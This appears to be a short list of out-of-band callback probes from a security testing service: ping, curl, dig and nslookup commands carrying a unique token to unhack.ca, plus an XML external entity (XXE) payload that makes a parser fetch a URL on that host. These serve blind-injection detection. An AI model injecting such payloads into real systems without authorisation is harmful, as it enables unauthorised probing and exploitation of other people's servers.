$ ping -c1 -p 00be0df165b84457ad922a18e58ae300 unhack.ca
$ curl http://unhack.ca/p/be0df165b84457ad922a18e58ae3
$ dig be0df165b84457ad922a18e58ae3 @unhack.ca
$ dig be0df165b84457ad922a18e58ae3.ns.unhack.ca
C:\> nslookup be0df165b84457ad922a18e58ae3 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/be0df165b84457ad922a18e58ae3">]> <foo>&xxe;</foo>